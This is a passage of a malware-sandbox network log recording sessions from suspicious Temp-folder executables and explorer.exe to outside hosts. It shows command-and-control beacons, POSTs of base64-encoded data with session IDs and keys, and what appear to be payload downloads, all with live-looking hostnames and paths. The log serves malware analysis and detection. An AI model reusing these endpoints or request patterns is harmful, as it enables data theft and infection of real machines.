Aug 31, 2022 14:28:56.856000900 CEST	15770	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 9a c5 55 bf Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOUd/<G^1}C dE6DRrV7(<,$X5"7jd/c&X8't\|I('vb__5LDqk*'u7
Aug 31, 2022 14:28:57.491833925 CEST	15775	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:57 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 81 03 c4 47 c6 f8 05 b1 26 bf 29 4a 54 78 a6 36 5c 60 de 5c 7a 5d 29 d7 a9 82 ee d0 22 9d 64 7f 5d 65 b4 b7 ee f4 08 39 c3 24 2c eb 80 d0 27 ed 48 6d Data Ascii: Uys/~(u:RG&)JTx6\`\z])"d]e9$,'Hm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49747	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:02.586004972 CEST	20123	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:29:02.759840965 CEST	20124	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 6b 52 4a 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 55 56 33 4d 77 57 6b 5a 6b 4d 30 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 45 7a 54 30 52 56 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TkRJc0luSmhibVJmYzNSeUlqb2lUV3MwWkZkM0lleUp6YVdRaU9qSXlOVEEzT0RVc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:29:03.548243999 CEST	20145	OUT	POST /check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:29:03.548340082 CEST	20145	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:29:03.707518101 CEST	20146	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49752	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:05.705117941 CEST	20173	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:29:06.028439999 CEST	20179	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 6b 52 56 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 50 52 54 46 55 5a 56 5a 6b 63 55 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 45 31 54 6c 52 56 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TkRVc0luSmhibVJmYzNSeUlqb2lPRTFUZVZkcUlleUp6YVdRaU9qSXlOVEE1TlRVc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:29:06.257808924 CEST	20191	OUT	POST /check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:29:06.258100033 CEST	20192	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:29:06.691611052 CEST	20202	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49761	210.92.250.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:08.293174028 CEST	20257	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bffvmt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: linislominyt11.at
Aug 31, 2022 14:29:08.293201923 CEST	20257	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bf 8a 14 62 cc d6 4f 96 f2 be 57 b2 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOWsf'?2wh)KhjQkI4_MlBpsP;8taY:[Z,YuykT&NjE?cK-Ec1dB\h,G/zH
Aug 31, 2022 14:29:09.790199995 CEST	20305	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:29:09 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49762	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:08.491116047 CEST	20261	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 14:29:08.695251942 CEST	20269	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4f 52 47 63 31 54 6b 52 6e 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 52 56 32 78 73 56 30 56 73 4e 45 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 53 58 6c 4f 56 45 56 34 54 55 52 56 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVORGc1TkRnc0luSmhibVJmYzNSeUlqb2lRV2xsV0VsNElleUp6YVdRaU9qSXlOVEV4TURVc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 14:29:10.056730032 CEST	20312	OUT	POST /check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 14:29:10.056775093 CEST	20313	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6b 35 72 54 6e 70 73 61 56 6c 74 55 6d 74 4e 52 47 68 71 57 54 4a 46 65 46 70 74 53 58 64 4e 62 56 6c 35 54 30 52 61 62 45 34 79 55 6d 31 5a 56 30 70 74 54 31 Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJak5rTnpsaVltUmtNRGhqWTJFeFptSXdNbVl5T0RabE4yUm1ZV0ptT1dFMElpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 14:29:10.249263048 CEST	20314	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 12:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 31 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 33 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b{"status":3,"accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49768	24.232.210.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:29:10.445575953 CEST	20325	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kybocij.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 155 Host: linislominyt11.at
Aug 31, 2022 14:29:10.445646048 CEST	20325	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bc 8a 14 62 cd d6 4f 96 be cd 33 c8 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bO3wdjPhAb$efed}qI{,
Aug 31, 2022 14:29:11.547465086 CEST	20347	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:29:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 61 dd 0e 75 78 42 18 1c d4 12 e3 d0 08 81 3f 13 4e 4e 56 32 e0 bf d2 1a 39 33 fe 91 27 71 39 d3 08 e8 17 a5 b2 59 5d a4 54 68 d9 dc c0 73 5b 1e 35 6b ee 9f ef 20 37 c8 d4 c1 61 3d 5b f8 d1 a3 c8 dc 2b 46 31 b0 47 b5 bd 11 26 bb 02 13 13 30 bf 6c 13 d9 e9 64 52 aa 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 52 0b 47 76 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8b 7b 7e 95 f7 ff 78 8d 57 db c4 0d 13 13 5f 01 e1 92 24 18 4f c5 03 41 cb a1 61 7e 9e f5 69 a9 19 17 7e 4f af 9a a1 44 c9 a0 c1 b9 dd 7a 09 90 4e 19 e0 2c 95 a9 18 1a f6 96 be 35 51 61 94 3c 3c 7c 8b 28 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 8b fe e5 0e c0 eb 7e 71 eb d0 f4 1a 40 38 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 23 37 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 ee ff 9d f3 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d a3 df 8e 82 11 e8 e4 1f 8e a1 90 4e b1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 60 36 85 1f d4 bc 68 91 9c 19 06 f1 2c be ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 88 8d 8b 8b e1 72 7b d7 9c a8 c3 e0 2b b9 b5 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c c9 90 f4 52 48 94 3b 96 4d 7b e6 17 3f ec e4 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f6 a8 b4 f3 5b 11 8f 41 bd 0a 29 78 87 9b 68 ca 4b c2 7b 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 0f 14 78 c5 8a d3 0e 3a 03 2a 79 2b 0d 8f 3d ef a2 86 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGauxB?NNV293'q9Y]Ths[5k 7a=[+F1G&0ldR3Ob>!ZC:>RGvSSQ{~xW_$OAa~i~ODzN,5Qa<<\|(HkJk?a]V4l3l)\|~q@8KO;yLuVW;r#u1yr+Lc1<'i#7FHU=h~U@Wd{9f(B@w=fd3Dw)pKNTUo)2([>T~uW`6h,[}PmCr{+z(Fzk#EcRH;M{?~Mpvn%n5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoUV[A)xhK{(fV<\kguKn%/tMaK$[x:*y+=
Aug 31, 2022 14:29:11.547494888 CEST	20349	IN	Data Raw: f5 11 dc 4f 59 9a 5b 85 5c 42 41 eb 60 fa 12 37 8e dd 28 81 41 78 3d 65 43 32 c0 36 6d c1 db dc d1 29 20 4d 9d 15 ac 25 63 6f 7d 54 5a 84 d0 3e f5 c6 89 99 11 85 1b 9a 32 04 5c 41 13 9c c6 2f a8 f3 d7 e1 1c 70 84 d8 c0 e4 93 c8 f6 47 b2 3c 43 c5 Data Ascii: OY[\BA`7(Ax=eC26m) M%co}TZ>2\A/pG<C4,um\og~$zX9;67=74J!YAPG6/<C1t7RJu!]P\0=Ef1HWA{d5 w[PL,_
Aug 31, 2022 14:29:11.547513962 CEST	20349	IN	Data Raw: df b0 2a f8 c3 0e 9f bc 5d fb ba 8d 6d 19 ff 43 07 a2 76 bf f9 32 0f 43 a8 d0 c8 38 a3 b8 c1 6b 53 cd 2a 1d 2d 60 22 69 4b 9e 36 c6 b9 40 95 da 04 4c b6 8f 37 24 c3 13 d5 27 cc 3b b6 73 32 99 7d 9a da 48 e9 61 fa 68 23 e0 0e 12 35 c6 56 0d f4 a5 Data Ascii: ]mCv2C8kS-`"iK6@L7$';s2}Hah#5VhEH hatw-s="R#.H5zKBNc-;g4L^^^H#n8?*C;]7FMS1`=52r
Aug 31, 2022 14:29:11.547537088 CEST	20350	IN	Data Raw: dd 4f 6c c5 50 79 3c cc cd dd 3f 0e f8 ea 0f c6 21 61 29 99 c3 a2 2b b4 6a 24 66 f1 34 99 cd d9 1f 16 41 4b d3 ec 3a 24 93 3c 04 49 a3 1a 13 df 35 e8 3d 86 3f 56 4f 62 e7 85 4a 93 9c 2d 18 90 da cd 8c e5 17 87 2f ba 5b fb ae f8 21 9f 9f d1 26 ae Data Ascii: OlPy<?!a)+j$f4AK:$<I5=?VObJ-/[!&Q` ]O11j2;<c)OgPo.A3-jWvs<hmn\|U.pK;%5to(a^ !+c[uz_Zv>0aEMym/GvJJOH{ua2@
Aug 31, 2022 14:29:11.836154938 CEST	20352	IN	Data Raw: 93 fb 7e e5 f9 b1 99 b9 5d 1b 69 84 79 74 a1 65 d8 a2 f4 9a 31 96 64 66 7a ee 10 b2 01 01 23 b9 23 34 4e 3a e9 23 ad d7 2a fc 81 4b 63 e8 6c 73 b8 63 af 39 4f 94 7d bd 77 cc 7a bc 91 38 41 c3 1a 27 ed 34 af 23 6d 31 ea 44 2c c6 65 6a f7 99 51 e8 Data Ascii: ~]iyte1dfz##4N:#Kclsc9O}wz8A'4#m1D,ejQ[nfSR3Yd}Nu_%y2TPU:RNj1h^eprg1;z?'n&bO_k"`6M2^ +(y1io\?Xd
Aug 31, 2022 14:29:11.836191893 CEST	20353	IN	Data Raw: 19 9f ec 1c c1 8f 18 ce c7 05 af fa 49 b5 a8 10 f3 b9 18 98 47 89 d5 42 d1 5d 7e b7 87 9c d1 fd 75 9a 56 56 02 f3 7e 8b ab c9 f7 c1 f7 f8 d9 b7 97 1a 7a 8b aa 32 cd 2c 6d b6 88 f8 d1 d0 bc 2a 59 4b 48 15 5a 9c f4 a5 13 3c 30 0f 66 a8 a3 09 01 42 Data Ascii: IGB]~uVV~z2,m*YKHZ<0fBi@: &6 $C>#QI9uM'2.G_+F$<o}+kB9]70=3pHpu:IT]`; T2ud>PJV>MV B<)@r,j`
Aug 31, 2022 14:29:11.836214066 CEST	20354	IN	Data Raw: a8 9f 90 a2 08 57 39 51 69 24 c3 9b 16 4d c1 e6 d7 75 5a 0e 3a a4 51 e8 22 40 ff db 4c f9 c4 48 be c4 98 4a 08 69 b1 58 ff 5b f0 8f 17 40 e0 52 36 18 61 f6 ef 91 9c 65 bc 93 bd 35 bf 93 d5 16 83 50 b2 80 8b 6c 2a 25 f0 75 84 7b 98 8b 04 fd 92 7d Data Ascii: W9Qi$MuZ:Q"@LHJiX[@R6ae5Pl%u{}f(WoJd/{kb L`AdK PmJOD3roOx):}6E`hL>alBD(=/{n:4W./iK!M\1tf`vM`f9C:9C
Aug 31, 2022 14:29:11.836860895 CEST	20356	IN	Data Raw: e1 7e b6 ea 70 05 2f 41 af 47 29 6b 5c 5f 32 f4 b5 75 60 29 d7 98 b5 81 72 91 9f 3d 1d 94 60 fb 9c 4b 34 f6 b3 97 08 92 93 05 dd eb ab 80 b6 df d8 c6 93 07 84 5d ff 2e da ae b4 e9 e3 2b 11 f2 1c ce fc 10 9c 13 84 f1 7c 40 a6 c9 8c 23 6e 37 2e 8b Data Ascii: ~p/AG)k\_2u`)r=`K4].+\|@#n7.e$/7X:A1f'22Ku m%bCnY+5Ye *;jw1qs-FGTRBJzgxeEV#pyn4xfCdtW_UaW~7x_Ub R4A JLIA
Aug 31, 2022 14:29:11.838701963 CEST	20357	IN	Data Raw: 3d c4 6c 14 69 d5 16 1f fd 0c c1 21 f1 4d 71 d6 ed f1 34 c9 43 4f dc 9d 3c 0d 62 5f 46 73 9e 2c dd 9c 50 98 08 f3 0c 48 6b 9d 62 bd d6 03 eb df b8 8e 40 6b ca 9b a7 c3 4f 5d aa c7 e2 97 f3 ee f1 52 cd cc bf 6c 60 73 cc e3 43 fc 6d b9 93 de 4c 26 Data Ascii: =li!Mq4CO<b_Fs,PHkb@kO]Rl`sCmL&y*$0i6?"gi)DYw]DpzDK\IKrz(?HC[fcm{99iih!a&iFxR#PC`FfD5I
Aug 31, 2022 14:29:11.838732004 CEST	20359	IN	Data Raw: a4 3d ff e6 94 0f 75 fb 44 02 55 15 ab 26 2d c9 cb b3 84 5a 24 93 c0 7e 39 00 4b f8 ba 41 88 13 b4 a6 e6 05 3e 62 44 8f 54 5c 0c a4 61 02 2a f9 6c 9f 4d 4f 10 87 4c 36 bf b8 c3 5d cb 96 d7 a1 84 d0 41 c6 2e a3 03 76 5e 4d 45 b3 4e 64 ba 4d 62 b9 Data Ascii: =uDU&-Z$~9KA>bDT\alMOL6]A.v^MENdMbxW.DD}p>_=P:L/V~Lc)A]!uVB[ZXnr #f#XH~?=rs49w& %Z`f-:>0R*{AW"
Aug 31, 2022 14:29:11.838757038 CEST	20360	IN	Data Raw: ff 51 02 4b c2 4f 9c 94 b8 fe 79 79 47 1d ca 26 39 c2 4a 0e 5a 69 e8 ce 15 fd 17 07 1e 15 2c 9b 4d f9 2a 5d 74 ee c2 fa 85 43 60 8c 1f af 29 2a 07 74 e4 ea 42 68 70 46 18 9c b5 b0 ef a8 df f5 d5 8d cd 62 be 1f fd 83 78 08 26 5d 7d a7 f9 69 35 5e Data Ascii: QKOyyG&9JZi,M]tC`)tBhpFbx&]}i5^,VZE9ic}%g9'//K92+q~xUn&8lN4exb;[qro[*\|YC=WdhDMpPu{wUpNiX4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49748	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49777	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\F5C7.exe

Timestamp	kBytes transferred	Direction	Data
